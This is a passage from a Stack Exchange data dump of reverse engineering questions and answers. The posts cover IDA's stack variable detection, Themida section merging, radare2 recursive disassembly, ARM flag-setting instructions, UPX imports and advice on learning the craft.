  <row Id="4254" PostTypeId="2" ParentId="4250" CreationDate="2014-05-03T17:48:35.173" Score="3" Body="&lt;p&gt;There's actually only one stack variable in this function: &lt;code&gt;var_4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the disassembly above, IDA incorrectly detects arguments passed to &lt;code&gt;_puts()&lt;/code&gt;, &lt;code&gt;___isoc99_scanf()&lt;/code&gt;, and &lt;code&gt;_printf()&lt;/code&gt; as local stack variables. To see this, let's analyze the following snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [esp+20h+var_20], offset aEnterX ; &quot;Enter X:&quot;&#xA;call    _puts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var_20&lt;/code&gt; is defined by IDA at the beginning of this function as &lt;code&gt;-20h&lt;/code&gt;, so &lt;code&gt;mov [esp+20h+var_20], offset aEnterX&lt;/code&gt; is effectively saying &lt;code&gt;mov [esp+20h+-20h], offset aEnterX&lt;/code&gt;, which is the same as &lt;strong&gt;&lt;code&gt;mov [esp], offset aEnterX&lt;/code&gt;&lt;/strong&gt;. In other words, the code is just pushing &lt;code&gt;offset aEnterX&lt;/code&gt; onto the stack before calling &lt;code&gt;_puts()&lt;/code&gt;, and IDA is unfortunately detecting that &quot;alternative push&quot; as a local stack variable.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-05-03T17:48:35.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4255" PostTypeId="2" ParentId="4250" CreationDate="2014-05-03T17:52:19.413" Score="5" Body="&lt;p&gt;There is only actually one local variable in your function: x. This variable is located on the stack where you would expect it, at &lt;code&gt;ebp-4&lt;/code&gt;. IDA is getting confused because this particular function, instead of pushing variables onto the stack before calling a function, is moving them instead. This tricks IDA into thinking those are local variables when they're actually just the locations at the top of the stack.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [esp+20h+var_1C], edx  &amp;lt;===&amp;gt; push edx&#xA;mov     [esp+20h+var_20], eax  &amp;lt;===&amp;gt; push eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't definitively explain why gcc is doing this, but my guess is that you compiled without optimizations. This instruction layout might make debugging easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're also confusing calling conventions with local variable cleanup. Every function needs to clean up its own local variable area. Your main() function is doing that with the &lt;a href=&quot;https://stackoverflow.com/questions/5474355/about-leave-in-x86-assembly&quot;&gt;&lt;code&gt;leave&lt;/code&gt;&lt;/a&gt; instruction. Calling conventions are related to cleaning up the &lt;strong&gt;parameters&lt;/strong&gt; passed to a function.&lt;/p&gt;&#xA;" OwnerUserId="4535" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-05-03T17:52:19.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4256" PostTypeId="2" ParentId="4250" CreationDate="2014-05-03T18:16:55.720" Score="2" Body="&lt;p&gt;&lt;sub&gt;(I deal more with code generated by Visual C++, so some parts of this answer are just educated guesses.)&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1.Why these 3 addresses of variables are not consecutive when allocated?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Variable alignment and even &lt;em&gt;presence&lt;/em&gt; on the stack is up to the compiler and can differ based on the specific compiler version you use, the optimization options being used, and other factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3 variables in your example are not all &quot;real&quot; variables. &lt;code&gt;var_4&lt;/code&gt; is the variable corresponding to your &lt;code&gt;x&lt;/code&gt;, whereas &lt;code&gt;var_1C&lt;/code&gt; and &lt;code&gt;var_20&lt;/code&gt; are simply results of GCC's approach to passing arguments to deeper function calls. When you write &lt;code&gt;scanf(&quot;%d&quot;, &amp;amp;x);&lt;/code&gt;, GCC knows that it will need to pass two 4-byte variables to that function on the stack, so it pre-emptively reserves enough room for them upon entering the function. This way, it doesn't need to &lt;code&gt;push&lt;/code&gt; anything onto the stack (which might be problematic if there's no stack space left...), it just needs to &lt;code&gt;mov&lt;/code&gt; the arguments into that preallocated space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That doesn't explain why there's a gap between the two allocations, though. GCC also prefers to align stack allocations to 16 bytes&lt;sup&gt;1&lt;/sup&gt;, and &lt;sub&gt;this is where I am guessing&lt;/sub&gt; it seems that the sizes needed for &quot;real local variables&quot; and &quot;space reserved for deeper function arguments&quot; are aligned independently before being summed into the final value of &quot;reserved stack space&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;You can control this alignment by using &lt;a href=&quot;http://gcc.gnu.org/onlinedocs/gcc-3.2/gcc/i386-and-x86-64-Options.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;-mpreferred-stack-boundary=num&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2.If not, when could I speculate the number of variables generated from stack by watching the clause like &lt;code&gt;add esp, N&lt;/code&gt; which is often at the end of a routine? Is it related with calling convention?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see in this example, that instruction does not always get generated. Its counterpart, &lt;code&gt;sub esp, N&lt;/code&gt;, is a much better indicator. From that you can make educated guesses about the amount/sizes of local variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calling convention is not related to a function's local variables, it controls the way the arguments are passed &lt;em&gt;into&lt;/em&gt; the function and whose responsibility it is to clean them up afterwards.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3.In this example, why compiler does not generated the &lt;code&gt;add esp, 20h&lt;/code&gt; with it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The function in your example begins with &lt;code&gt;push ebp; mov ebp, esp&lt;/code&gt;, which saves the original values of both &lt;code&gt;ebp&lt;/code&gt; and &lt;code&gt;esp&lt;/code&gt;. The &lt;code&gt;leave&lt;/code&gt; instruction at the end does the reverse - it restores the saved values of &lt;code&gt;esp&lt;/code&gt; and &lt;code&gt;ebp&lt;/code&gt;, so there's no need to calculate anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The saved &lt;code&gt;ebp&lt;/code&gt; is also known as a &lt;a href=&quot;https://stackoverflow.com/questions/579262/what-is-the-purpose-of-the-frame-pointer&quot;&gt;&lt;em&gt;frame pointer&lt;/em&gt;&lt;/a&gt;. It is possible to instruct the compiler &lt;em&gt;not&lt;/em&gt; to generate it, in which case the original value of &lt;code&gt;esp&lt;/code&gt; needs to be restored using that calculation you mentioned.&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-05-03T18:16:55.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4257" PostTypeId="1" AcceptedAnswerId="4333" CreationDate="2014-05-04T02:01:04.953" Score="7" ViewCount="1287" Body="&lt;p&gt;Visual C++ produces binaries with &lt;code&gt;.code&lt;/code&gt;, &lt;code&gt;.rdata&lt;/code&gt;, and &lt;code&gt;.data&lt;/code&gt; sections (in that order). Themida merges all three into a nameless section, which is detrimental to analysis. In particular, I want to run the &lt;a href=&quot;http://www.openrce.org/downloads/details/253/IDA_Extra_Pass&quot; rel=&quot;nofollow&quot;&gt;Extra Pass&lt;/a&gt; plugin for IDA on a dump from memory of a Themida'd executable (imports not recovered), but it needs the real bounds of the .code section or it will aggressively convert a lot of actual data into code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I go about recovering the base of the &lt;code&gt;.rdata&lt;/code&gt; and &lt;code&gt;.data&lt;/code&gt; sections?&lt;/p&gt;&#xA;" OwnerUserId="3824" LastEditorUserId="53" LastEditDate="2014-05-04T19:13:09.347" LastActivityDate="2014-05-14T18:19:34.840" Title="Recovering original PE sections after Themida merges them" Tags="|windows|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4258" PostTypeId="2" ParentId="4246" CreationDate="2014-05-04T14:18:59.223" Score="1" Body="&lt;p&gt;If it really does &lt;code&gt;ch=*prt++&lt;/code&gt; (and not &lt;code&gt;ch=*++ptr&lt;/code&gt;), then &lt;code&gt;ch&lt;/code&gt; is the character just written in the line before, not the next character read as the comment suggests. Anyway, contrary to what you write this method is &lt;em&gt;not&lt;/em&gt; involuntary: With &lt;code&gt;nonce1&lt;/code&gt;=&lt;code&gt;nonce2&lt;/code&gt;=&lt;code&gt;0&lt;/code&gt; the clear text 1,2,3,4,5,6,7,8 gets transformed to 1,3,0,4,1,5,0,8 (if I'm not mistaken) and that gets transformed to (1,2,2,...)&lt;/p&gt;&#xA;" OwnerUserId="4543" LastEditorUserId="53" LastEditDate="2014-05-04T14:21:20.110" LastActivityDate="2014-05-04T14:21:20.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4259" PostTypeId="2" ParentId="4251" CreationDate="2014-05-04T15:10:17.113" Score="2" Body="&lt;p&gt;If this is a class competition, and it's filed under Reverse Engineering, the chances are the tutor has compiled this package themselves and has used techniques you've learnt in previous lessons to store the password somewhere within the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look back on the techniques you've already learnt, and try those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Judging by the question I'll assume that you've not covered advanced Reverse Engineering techniques so the first place to start would be to view all the strings in the executable - provided no encryption is used, again I'm assuming not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Windows you can use Sys Internals Strings (&lt;a href=&quot;http://technet.microsoft.com/en-gb/sysinternals/bb897439.aspx&quot; rel=&quot;nofollow&quot;&gt;http://technet.microsoft.com/en-gb/sysinternals/bb897439.aspx&lt;/a&gt;). IDA Pro also allows you to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a PE viewer to check whether it's a valid zip file created with WinZip, WinRar etc. It could have been created with a different program that contains a vulnerability to extract/crack the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, and not knowing the level of your experience or class the only option left is to brute force.&lt;/p&gt;&#xA;" OwnerUserId="4544" LastActivityDate="2014-05-04T15:10:17.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4260" PostTypeId="1" AcceptedAnswerId="4263" CreationDate="2014-05-04T16:57:40.147" Score="7" ViewCount="5740" Body="&lt;p&gt;I am trying  the recursive traversal disassembler of the &lt;code&gt;radare2&lt;/code&gt; tool. But, I cannot use it properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, according to the &lt;code&gt;radare2&lt;/code&gt; manual, we can use recursive traversal disassembler by using the &lt;code&gt;pdr&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00404890]&amp;gt; pd?&#xA;Usage: pd[f|i|l] [len] @ [addr]&#xA;  pda  : disassemble all possible opcodes (byte per byte)&#xA;  pdj  : disassemble to json&#xA;  pdb  : disassemble basic block&#xA;  pdr  : recursive disassemble across the function graph&#xA;  pdf  : disassemble function&#xA;  pdi  : like 'pi', with offset and bytes&#xA;  pdl  : show instruction sizes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I always get this error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cannot find function at 0x004028c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a full session of &lt;code&gt;radare2&lt;/code&gt; on the &lt;code&gt;ls&lt;/code&gt; command with, first, a linear sweep disassembly and, then, an attempt of recursive traversal disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; radare2 /bin/ls&#xA;syntax error: error in error handling&#xA;syntax error: error in error handling&#xA;[0x00404890]&amp;gt; pd@main&#xA;        ;-- main:&#xA;        0x004028c0    4157         push r15&#xA;        0x004028c2    4156         push r14&#xA;        0x004028c4    4155         push r13&#xA;        0x004028c6    4154         push r12&#xA;        0x004028c8    55           push rbp&#xA;        0x004028c9    4889f5       mov rbp, rsi&#xA;        0x004028cc    53           push rbx&#xA;        0x004028cd    89fb         mov ebx, edi&#xA;        0x004028cf    4881ec88030. sub rsp, 0x388&#xA;        ...&#xA;        0x00402dff    8b0567772100 mov eax, [rip+0x217767] ; 0x0040a56c &#xA;        0x00402e05    488b0d64772. mov rcx, [rip+0x217764] ; 0x0040a570 &#xA;        0x00402e0c    83f801       cmp eax, 0x1&#xA;        0x00402e0f    0f84de0d0000 jz 0x403bf3&#xA;        0x00402e15    83f802       cmp eax, 0x2&#xA;        0x00402e18    be0f384100   mov esi, 0x41380f&#xA;        0x00402e1d    b80e384100   mov eax, str.vdir&#xA;        0x00402e22    480f45f0     cmovnz rsi, rax&#xA;        0x00402e26    488b3de3772. mov rdi, [rip+0x2177e3] ; 0x0040a610&#xA;        0x00402e2d    48c70424000. mov qword [rsp], 0x0&#xA;        0x00402e35    41b9bd384100 mov r9d, str.DavidMacKenzie&#xA;        0x00402e3b    41b8cd384100 mov r8d, str.RichardM.Stallman&#xA;[0x00404890]&amp;gt; pdr@main&#xA;Cannot find function at 0x004028c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact, I strongly suppose that I am missing a step here. It seems that we should first build the call graph of the program, but I didn't manage to find how to do it (I obviously have missed some documentation somewhere, sorry for that!). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if somebody can give me a hint about it, I would be pleased !&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-05-04T17:15:12.610" LastActivityDate="2016-07-26T08:22:55.280" Title="Recursive traversal disassembling with Radare2?" Tags="|disassembly|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4261" PostTypeId="1" AcceptedAnswerId="4262" CreationDate="2014-05-04T17:08:09.753" Score="7" ViewCount="56985" Body="&lt;p&gt;I am starting to look a bit more precisely at ARM assembler and I looked up some dumps from &lt;code&gt;objdump&lt;/code&gt;. I saw a lot of instruction (&lt;code&gt;add&lt;/code&gt; is not the only one) with an extra &lt;code&gt;s&lt;/code&gt; at the end (&lt;code&gt;adds&lt;/code&gt;, &lt;code&gt;subs&lt;/code&gt;, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked a bit to the ARM documentation and it seems to mean something significant, but I can't figure out exactly what (the documentation I found about it seemed extremely obscure to me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has somebody some insight on what is the meaning of this extra &lt;code&gt;s&lt;/code&gt; added at the end of some ARM instructions ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-05-04T18:30:05.810" LastActivityDate="2018-01-16T06:37:40.727" Title="Difference between 'add' and 'adds' in ARM assembler?" Tags="|arm|gas|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4262" PostTypeId="2" ParentId="4261" CreationDate="2014-05-04T17:16:50.207" Score="11" Body="&lt;p&gt;Usual &lt;code&gt;ADD&lt;/code&gt; doesn't update flags.&#xA;&lt;code&gt;ADDS&lt;/code&gt; does.&#xA;See better documentation at &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489i/Cihcjfjg.html&quot; rel=&quot;noreferrer&quot;&gt;arm infocenter&lt;/a&gt;.&#xA;As it wrote there:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If S is specified, these instructions update the N, Z, C and V flags according to the result.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2014-05-05T22:17:10.710" LastActivityDate="2014-05-05T22:17:10.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4263" PostTypeId="2" ParentId="4260" CreationDate="2014-05-04T17:33:00.790" Score="6" Body="&lt;p&gt;In fact, you should first run a '&lt;em&gt;function&lt;/em&gt;' analysis of the program. To better understand this type &lt;code&gt;a?&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00404890]&amp;gt; a?&#xA;Usage: a[?adfFghoprsx]&#xA; a8 [hexpairs]    ; analyze bytes&#xA; aa               ; analyze all (fcns + bbs)&#xA; ad               ; analyze data trampoline (wip)&#xA; ad [from] [to]   ; analyze data pointers to (from-to)&#xA; ae [expr]        ; analyze opcode eval expression (see ao)&#xA; af[bcsl?+-*]     ; analyze Functions&#xA; aF               ; same as above, but using graph.depth=1&#xA; ag[?acgdlf]      ; output Graphviz code&#xA; ah[?lba-]        ; analysis hints (force opcode size, ...)&#xA; ao[e?] [len]     ; analyze Opcodes (or emulate it)&#xA; ap               ; find and analyze function preludes&#xA; ar[?ld-*]        ; manage refs/xrefs&#xA; as [num]         ; analyze syscall using dbg.reg&#xA; at[trd+-*?] [.]  ; analyze execution Traces&#xA; ax[-cCd] [f] [t] ; manage code/call/data xrefs&#xA;Examples:&#xA; f ts @ `S*~text:0[3]`; f t @ section..text&#xA; f ds @ `S*~data:0[3]`; f d @ section..data&#xA; .ad t t+ts @ d:ds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, more precisely with an &lt;code&gt;af?&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00404890]&amp;gt; af?&#xA;Usage: af[?+-l*]&#xA; af @ [addr]               ; Analyze functions (start at addr)&#xA; af+ addr size name [type] [diff] ; Add function&#xA; af- [addr]                ; Clean all function analysis data (or function at addr)&#xA; afb 16                    ; set current function as thumb&#xA; afbb fcnaddr addr size name [type] [diff] ; Add bb to function @ fcnaddr&#xA; afl[*] [fcn name]         ; List functions (addr, size, bbs, name)&#xA; afi [fcn name]            ; Show function(s) information (verbose afl)&#xA; afr name [addr]           ; Rename name for function at address (change flag too)&#xA; afs [addr] [fcnsign]      ; Get/set function signature at current address&#xA; af[aAv][?] [arg]          ; Manipulate args, fastargs and variables in function&#xA; afc @ [addr]              ; Calculate the Cyclomatic Complexity (starting at addr)&#xA; af*                       ; Output radare commands&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, start a '&lt;em&gt;functions&lt;/em&gt;' analysis beginning at &lt;code&gt;main&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00404890]&amp;gt; af@main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you can run a recursive traversal disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00404890]&amp;gt; pdr@main&#xA;/ (fcn) fcn.004028c0 7460&#xA;|           ;-- main:&#xA;|           0x004028c0    4157         push r15&#xA;|           0x004028c2    4156         push r14&#xA;|           0x004028c4    4155         push r13&#xA;|           0x004028c6    4154         push r12&#xA;|           0x004028c8    55           push rbp&#xA;|           0x004028c9    4889f5       mov rbp, rsi&#xA;|           0x004028cc    53           push rbx&#xA;|           0x004028cd    89fb         mov ebx, edi&#xA;|           0x004028cf    4881ec88030. sub rsp, 0x388&#xA;|           0x004028d6    488b3e       mov rdi, [rsi]&#xA;|           0x004028d9    64488b04252. mov rax, [fs:0x28]&#xA;|           0x004028e2    48898424780. mov [rsp+0x378], rax&#xA;|           0x004028ea    31c0         xor eax, eax&#xA;|           0x004028ec    e8afad0000   call 0x40d6a0 ; (fcn.0040d69f)&#xA;|              fcn.0040d69f(unk, unk, unk, unk, unk, unk)&#xA;|           0x004028f1    be19694100   mov esi, 0x416919&#xA;|           0x004028f6    bf06000000   mov edi, 0x6&#xA;|               0x004028fb    e810feffff   call sym.imp.setlocale&#xA;&#xA;... clip ...&#xA;&#xA;--&#xA;|           0x00402980    83e801       sub eax, 0x1&#xA;|           0x00402983    7405         jz fcn.004038a8&#xA;-[true]-&amp;gt; 0x0040298a&#xA;-[false]-&amp;gt; 0x00402985&#xA;--&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also start radare2 with the &lt;code&gt;-A&lt;/code&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-A : run 'aaa' command before prompt or patch to analyze all referenced code&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;http://radare.today/posts/analysis-by-default/&quot; rel=&quot;nofollow&quot;&gt;http://radare.today/posts/analysis-by-default/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4545" LastEditorUserId="3721" LastEditDate="2016-07-26T08:22:55.280" LastActivityDate="2016-07-26T08:22:55.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4264" PostTypeId="2" ParentId="4261" CreationDate="2014-05-04T18:19:12.670" Score="13" Body="&lt;p&gt;The extra &lt;code&gt;s&lt;/code&gt; character added to the ARM instruction mean that the &lt;strong&gt;APSR&lt;/strong&gt; (Application Processor Status Register) will be updated depending on the outcome of the instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The status register (APSR) contain four flags &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;Z&lt;/code&gt;, &lt;code&gt;C&lt;/code&gt; and &lt;code&gt;V&lt;/code&gt; which means the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;N == 0&lt;/code&gt;: The result is greater or equal to 0, which is considered positive, and so the &lt;code&gt;N&lt;/code&gt; (negative) bit is set to 0.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Z == 1&lt;/code&gt;: The result is 0, so the &lt;code&gt;Z&lt;/code&gt; (zero) bit is set to 1.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;C == 1&lt;/code&gt;: We lost some data because the result did not fit into 32 bits, so the processor indicates this by setting &lt;code&gt;C&lt;/code&gt; (carry) to 1.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;V = 0&lt;/code&gt;: From a two's complement signed-arithmetic viewpoint, 0xffffffff really means -1, so the operation we did was really (-1) + 1 = 0. That operation clearly does not overflow, so &lt;code&gt;V&lt;/code&gt; (overflow) is set to 0.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More information about the &lt;em&gt;condition flags&lt;/em&gt; in the ARM architecture can be found &lt;a href=&quot;http://community.arm.com/groups/processors/blog/2010/07/16/condition-codes-1-condition-flags-and-codes&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-05-04T22:12:21.237" LastActivityDate="2014-05-04T22:12:21.237" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4265" PostTypeId="2" ParentId="4248" CreationDate="2014-05-04T19:01:34.267" Score="4" Body="&lt;p&gt;Any dynamically-linked executable will need to import functionality from dynamically-loaded libraries. The executable you have needs some functions from comctl32.dll to accomplish whatever it does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A packer like UPX is basically creating a completely new executable and compressing the original one into a &quot;payload&quot;. The reason your packed executable now has extra dependencies is because the UPX decoder, which unpacks your original executable when it's run, has dependencies of its own. I'm guessing that it imports &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684175%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;LoadLibrary&lt;/a&gt; and &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;GetProcAddress&lt;/a&gt; from kernel32.dll. You can read more on MSDN, but to summarize, these functions allow the UPX unpacking stub to load additional libraries without explictly linking to them.&lt;/p&gt;&#xA;" OwnerUserId="4535" LastActivityDate="2014-05-04T19:01:34.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4266" PostTypeId="1" CreationDate="2014-05-04T20:32:45.047" Score="7" ViewCount="2722" Body="&lt;p&gt;What would help me to be improve my self, What subjects should I study and learn from which increase my ability to be be better at reverse engineering a software ? i.e: Calculus, Integration ?&lt;/p&gt;&#xA;" OwnerUserId="4547" LastActivityDate="2014-05-05T06:08:36.947" Title="What skills, other than practice, should I acquire to be good at reverse engineering softwares?" Tags="|software-security|" AnswerCount="2" CommentCount="1" CommunityOwnedDate="2014-05-06T14:32:11.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="4267" PostTypeId="2" ParentId="4266" CreationDate="2014-05-04T21:22:54.773" Score="7" Body="&lt;p&gt;There's always some special kind of software that requires specific mathematical skills. For example, if you want to reverse some malware that encrypts files, skills in cryptography will help you identify algorithms. Or, if you want to reverse some software that calculates, say, antennas, knowing equations from radio engineering will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, to improve your skills in reversing &quot;general&quot; software, the best you can do is learn several assembly languages, i'd recommend at least intel (32 bit and 64 bit), and arm instruction sets, registers, and flags. Also, get at least some theoretical knowledge about compilers, how they work, and which approaches to compiler optimizations there are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write small (C) programs, compile them to assembler, use different optimization flags, and learn how the compiler translates them into assembler code. Learn about the various ways to arrange the stack, so you'll recognize patterns when you see compiled assembly code.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While, in some cases, you'll encounter hand-crafted assembly, most of what you're going to reverse in &quot;real life&quot; will be compiled in some way or other, and in most cases, it'll be C or C++ that gets compiled. (C# and Java as well, but these are special cases, because decompilation is easy with those except if obfuscated). See this question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4213/is-there-a-way-to-adjust-local-variables-when-a-function-doesnt-utilize-ebp&quot;&gt;Is there a way to adjust local variables when a function doesn&amp;#39;t utilize ebp?&lt;/a&gt;, or this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4189/can-someone-tell-me-what-this-memcpy-or-maybe-its-a-memset-looks-like-a-memset&quot;&gt;Can someone tell me what this memcpy or maybe it&amp;#39;s a memset? looks like a memset, rep movsd and rep movsb This is a packet sending function&lt;/a&gt; - both are easy to solve if you just know how compilers work, and if you've compared respective assembly/C code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that, as you already said, lots of experience, in reversing AND in programming. Theres's lots of algorithms that are quite hard to understand when you just see the implementations - a few weeks ago, i came across a function that had lots of ifs and variable swapping that i wasn't able to make any sense of, until i suddenly realized that i used exactly the same stuff some 10 years ago when i once implemented &lt;a href=&quot;http://en.wikipedia.org/wiki/Bresenham%27s_line_algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bresenham's algorithm&lt;/a&gt;. This is the kind of stuff you can't really learn - a lot of the &quot;magical&quot; realizations of experienced reversers is not magic, they're just good memory. &lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-05-04T21:22:54.773" CommentCount="0" CommunityOwnedDate="2014-05-06T14:32:11.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="4268" PostTypeId="2" ParentId="4266" CreationDate="2014-05-04T21:28:57.643" Score="13" Body="&lt;p&gt;Such questions rarely have straightforward answers but I'll try to point you on &lt;strong&gt;a&lt;/strong&gt; right path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, &lt;strong&gt;Build a toolbox&lt;/strong&gt; : gather as much tools as you can &amp;amp; start playing. Then, master the ones which you find useful or develop your own when you can do better. By tools, I mean &lt;em&gt;disassemblers&lt;/em&gt;, &lt;em&gt;hexeditors&lt;/em&gt;, &lt;em&gt;decompilers&lt;/em&gt;, &lt;em&gt;debuggers&lt;/em&gt;, &lt;em&gt;automation scripts&lt;/em&gt;, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, &lt;strong&gt;Be methodical&lt;/strong&gt; : with experience &amp;amp; practice you'll be able to come up with a set of steps to follow when reversing. These steps will certainly have to be updated with more experience but they'll surely help you find valuable information &amp;amp; data about your target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, &lt;strong&gt;Never blindly trust your tools&lt;/strong&gt; or &lt;strong&gt;Know your tools&lt;/strong&gt; : always cross-reference the outputs of different tools (use multiple disassemblers, ...). Most tools have strengths and weaknesses and you must know them in order to understand what you're looking at. For example, &lt;code&gt;objdump&lt;/code&gt; (the &lt;code&gt;binutils&lt;/code&gt; disassembler) performs &lt;code&gt;linear sweep&lt;/code&gt;, a technique which can easily be fooled by misalignments and mixing data with instructions. A wise reverser would use another disassembler which implements another disassembly algorithm (IDAPro, r2 - radare, ...) and compare the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fourthly, &lt;strong&gt;RTFM&lt;/strong&gt; : documentation will in most, if not all, cases be your best friend. Any documentation related to the architecture, the tools you're using, the target application, the programming language, the compiler, ... is a gold mine. It will help you understand how all the machinery manages to function. You'll have to educate yourself in compilation (use &amp;amp; study different compilers : &lt;strong&gt;GNU's&lt;/strong&gt; &lt;code&gt;gcc&lt;/code&gt;, &lt;strong&gt;Intel's&lt;/strong&gt; &lt;code&gt;icc&lt;/code&gt;, &lt;strong&gt;PGI's&lt;/strong&gt; &lt;code&gt;pgcc&lt;/code&gt;, &lt;strong&gt;CAPS&lt;/strong&gt; compilers suite, &lt;strong&gt;IBM's&lt;/strong&gt; 